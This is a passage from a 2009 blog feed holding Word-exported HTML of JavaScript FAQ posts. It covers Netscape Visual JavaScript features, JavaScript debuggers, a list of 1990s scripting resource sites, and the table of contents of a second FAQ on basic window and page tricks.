<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Drag and drop components onto web pages from the extensible Component Palette, which includes CORBA/IIOP services </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Customize components using Inspector to view and edit properties and events </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Use visual, drag-and-drop programming to connect components </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Debug applications using a <strong>built-in JavaScript debugger</strong> that lets you set breakpoints and step through code </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Manage projects with multiple developers using Enterprise Server 3.0 <strong>content management system</strong>, which enables page check-in / check-out, version control, and shared component palettes </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Tie into Oracle, Informix, Sybase, or ODBC databases using the included LiveWire JavaScript components, leveraging the built-in <strong>LiveWire Database Service</strong> in Enterprise Server 3.0. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Automatically invoke <strong>LiveWire compiler</strong> and Application Manager behind the scenes for web applications using server-side JavaScript. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">The bundled <strong>Component Developer's Kit</strong> lets you write new components in JavaScript or Java (i.e., standard JavaBeans). </span></li>
</ul>
</li>
</ol>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">For more information, visit <a href="http://home.netscape.com/comprod/products/tools/visual_js.html" target="_blank"><span style="color: #0000ff;">Netscape's web site</span></a>, or better yet, download a trial release of Visual JavaScript and take its measure yourself.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ6_4"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>4. Are there any JavaScript Debuggers?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">N</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">etscape bundles a <a href="http://developer.netscape.com/viewsource/index_frame.html?content=angus_jsdebug/angus_jsdebug.html"><span style="color: #0000ff;">debugger</span></a> with Visual JavaScript.</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">The <a href="http://msdn.microsoft.com/scripting/debugger/default.htm" target="_blank"><span style="color: #0000ff;">Microsoft Script Debugger</span></a> is a debugging environment that extends any Microsoft ActiveX Scripting host application (for example, Internet Explorer or Internet Information Server). </span></p>
<p style="text-align: right;" align="right"><a name="FAQ7"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p class="desc"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Other Sources</span></span></strong><span style="text-decoration: underline;"></span></p>
<table style="width: 90%; mso-cellspacing: 0in; mso-padding-alt: 0in 0in 0in 0in;" border="0" cellspacing="0" cellpadding="0" width="90%">
<tbody>
<tr>
<td style="padding: 0in;">
<ol type="1">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span class="dc1"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">T</span></span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">he latest version of the semi-official JavaScript mini-FAQ is always available in the language's newsgroup, <a href="news:comp.lang.javascript"><span style="color: #0000ff;">comp.lang.javascript</span></a>. It's principal author, <a href="http://www.dannyg.com/javascript/" target="_blank"><span style="color: #0000ff;">Danny Goodman</span></a>, has written many classic computer books, including <em><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=0764531883" target="_blank"><span style="color: #0000ff;">JavaScript Bible, 3rd Ed</span></a></em>. (IDG Books, March 1998). His site is a well-organized clearinghouse for JavaScript routines. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">A "webmaster's learning center," George Chiang's <strong>Website Abstraction</strong>, at <a href="http://www.wsabstract.com/" target="_blank"><span style="color: #0000ff;">www.wsabstract.com</span></a> is a well organized site featuring JavaScript tutorials and free code samples. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">A more basic tutorial, <strong><em>JavaScript for the Total Non-Programmer</em></strong>, is hosted by itinerant webteacher Rob Young at:<br />
<a href="http://www.webteacher.com/javatour.htm" target="_blank"><span style="color: #0000ff;">www.webteacher.com/javatour.htm</span></a>. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://javascript.internet.com/" target="_blank"><span style="color: #0000ff;">The JavaScript Source</span></a> is an ever-growing collection of <strong>hundreds of free JavaScripts</strong> that are available for unrestricted use on your web pages. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 13.5pt;">M</span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">artin Webb's <a href="http://www.irt.org/articles/script.htm"><span style="color: #0000ff;">irt.org</span></a> site is "a non-profit making online developer site that covers Internet Related Technologies that are cross-browser as well as operating system and platform independent." Copious, up-to-date information on <strong>JavaScript, ECMAScript and VBScript</strong>. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://www.dynamicdrive.com/" target="_blank"><span style="color: #0000ff;">Dynamic Drive</span></a> is a quality source of free, <strong>original DHTML scripts</strong> and components. There are some copyright restrictions, so read the Terms of Use carefully before indulging. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">For a solid library of <strong>sample JavaScript apps</strong> check out <a href="http://www.serve.com/hotsyte/index.cgi"><span style="color: #0000ff;">HotSyte - The JavaScript Resource</span></a>. Important subsections include <a href="http://www.serve.com/hotsyte/reserve.html"><span style="color: #0000ff;">The HotSyte Reserve</span></a> and <a href="http://www.serve.com/hotsyte/wildman/"><span style="color: #0000ff;">Tim Wildman's Script Archive</span></a>. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">Following is a list of several more of our favorite <strong>online scripting resources</strong>. If you think we missed an important one, <a href="mailto:gbenett@internet.com"><span style="color: #0000ff;">tell the editor</span></a>. </span>
<ul type="square">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://www.inquiry.com/techtips/js_pro/"><span style="color: #0000ff;">Ask the JavaScript Pro</span></a> -- part of the formidable <strong>DevX site hierarchy</strong> owned by Fawcette Technical Publications </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://www.geocities.com/SiliconValley/9000/"><span style="color: #0000ff;">Learn Advanced JavaScript Programming</span></a>. From book of same name; hundreds of hi-qual examples. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://www.linkfinder.com/javascript.html"><span style="color: #0000ff;">LinkFinder - JavaScript</span></a> - a page of links, many distinct from this one </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">Netscape's <a href="http://developer.netscape.com/library/examples/javascript.html"><span style="color: #0000ff;">JavaScript Sample Code</span></a> library - solid. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">First Page <a href="http://www.first-page.com/homepage/wallpick.htm"><span style="color: #0000ff;">Wallpaper Picker</span></a>, a JavaScript toy written by Gordon McComb </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">James Thiele's <a href="http://www.eskimo.com/~jet/javascript/"><span style="color: #0000ff;">programming examples and references</span></a></span><span style="font-family: Arial;">, </span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">including a simple calendar reminder. </span></li>
</ul>
</li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">Netscape's <a href="http://home.netscape.com/assist/net_sites/frames.html"><span style="color: #0000ff;">Frames Tutorial - An Introduction</span></a> </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">Netscape tutorial on <a href="http://home.netscape.com/newsref/std/cookie_spec.html"><span style="color: #0000ff;">Client Side State - HTTP Cookies</span></a> </span></li>
<li class="MsoNormal" style="color: black; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; color: windowtext; font-family: Arial; mso-bidi-font-size: 12.0pt;">HTTP, CGI reference sites<br />
<a href="http://hoohoo.ncsa.uiuc.edu/"><span style="color: #0000ff;">The NCSA HTTPd Home Page</span></a><br />
<a href="http://www.apache.org/"><span style="color: #0000ff;">Apache HTTP Server Project</span></a> </span></li>
</ol>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"> </p>
<p class="MsoNormal"> </p>
<p class="MsoNormal" style="margin-left: 0in; text-align: left;" align="left"><span style="font-weight: normal; font-size: 12pt; color: navy; text-decoration: none; text-underline: none; mso-bidi-font-size: 7.5pt;">For more details visit Intranet Journal at</span></p>
<p class="MsoNormal"><a href="http://www.intranetjournal.com/faq/js-faq.shtml"><span style="color: #0000ff;">http://www.intranetjournal.com/faq/js-faq.shtml</span></a></p>
<p class="MsoNormal"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><a href="http://idm.internet.com/index.html"><span style="color: #0000ff;">http://idm.internet.com/index.html</span></a></span></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/25/javascript-faq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Script &#8211; FAQ</title>
		<link>http://www.dailyinfobyte.com/2009/03/11/java-script-faq/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/11/java-script-faq/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 03:12:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[Blur]]></category>
		<category><![CDATA[Document]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[FAQ on JAVASCRIPT]]></category>
		<category><![CDATA[History]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Java script]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Self]]></category>
		<category><![CDATA[Style]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=105</guid>
		<description><![CDATA[FAQ on JAVASCRIPT
 
Table Of Contents
1.   Keywords. 2
2.   Introduction. 2
3.   Target Readers. 2
4.   Tips and Tricks. 2
4.1.   How do I use a JavaScript link to return to the previous page?. 2
4.2.   How do I get the page background image to stay fixed when the page is scrolled?  2
4.3.   How can I set a window&#8217;s size when [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoTitle" style="margin: 0in 0in 0pt;"><span style="font-size: 16pt; mso-bidi-font-size: 12.0pt;"><strong><span style="text-decoration: underline;"><span style="font-family: Verdana;">FAQ on JAVASCRIPT</span></span></strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in; text-align: center; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;" align="center"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 9.0pt;"><span style="text-decoration: none;"><strong><span style="text-decoration: underline;"> </span></strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in; text-align: center; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;" align="center"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 9.0pt;">Table Of Contents</span></span></strong></p>
<p class="MsoToc1" style="margin: 0in 0in 0pt; tab-stops: 24.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091857"><span style="font-size: small; color: #0000ff;">1.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">Keywords</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">2</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc1" style="margin: 0in 0in 0pt; tab-stops: 24.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091858"><span style="font-size: small; color: #0000ff;">2.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">Introduction</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">2</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc1" style="margin: 0in 0in 0pt; tab-stops: 24.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091859"><span style="font-size: small; color: #0000ff;">3.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">Target Readers</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">2</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc1" style="margin: 0in 0in 0pt; tab-stops: 24.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091860"><span style="font-size: small; color: #0000ff;">4.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">Tips and Tricks</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">2</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc2" style="margin: 0in 0in 0pt 12pt; tab-stops: 48.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091861"><span style="font-size: small; color: #0000ff;">4.1.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">How do I use a JavaScript link to return to the previous page?</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">2</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc2" style="margin: 0in 0in 0pt 12pt; tab-stops: 48.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091862"><span style="font-size: small; color: #0000ff;">4.2.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">How do I get the page background image to stay fixed when the page is scrolled?</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1;">  </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">2</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc2" style="margin: 0in 0in 0pt 12pt; tab-stops: 48.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091863"><span style="font-size: small; color: #0000ff;">4.3.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">How can I set a window&#8217;s size when it is opened?</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">2</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc2" style="margin: 0in 0in 0pt 12pt; tab-stops: 48.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091864"><span style="font-size: small; color: #0000ff;">4.4.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">How can I set a window&#8217;s position when it is opened?</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">3</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc2" style="margin: 0in 0in 0pt 12pt; tab-stops: 48.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091865"><span style="font-size: small; color: #0000ff;">4.5.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">How do I use JavaScript to scroll to the top of the page?</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">3</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc2" style="margin: 0in 0in 0pt 12pt; tab-stops: 48.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091866"><span style="font-size: small; color: #0000ff;">4.6.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">How do I stop the scrollbar from showing in a regular window?</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">3</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc2" style="margin: 0in 0in 0pt 12pt; tab-stops: 48.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091867"><span style="font-size: small; color: #0000ff;">4.7.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">How do I attach more than one style to an element?</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">3</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<p class="MsoToc2" style="margin: 0in 0in 0pt 12pt; tab-stops: 48.0pt right dotted 431.5pt;"><span class="MsoHyperlink"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc90091868"><span style="font-size: small; color: #0000ff;">4.8.</span><span style="font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none;"><span style="mso-tab-count: 1;">   </span></span><span style="font-size: small; color: #0000ff;">How do I close a regular window with a JavaScript link, and how would I do it if I am using frames?</span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span><span style="display: none; font-size: 10pt; color: windowtext; text-decoration: none; mso-bidi-font-size: 12.0pt; text-underline: none; mso-hide: screen;">4</span></a></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-no-proof: yes;"></span></p>
<h1 style="margin: 12pt 0in 3pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 16.0pt;"> </span></h1>
<h1 style="margin: 12pt 0in 3pt 0.25in; text-indent: -0.25in; mso-list: l0 level1 lfo1; tab-stops: list .25in;"><a name="_Toc90091857"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 16.0pt; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">1.<span style="font: 7pt &quot;Times New Roman&quot;;">    </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 16.0pt;">Keywords</span></a><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 16.0pt;"></span></h1>
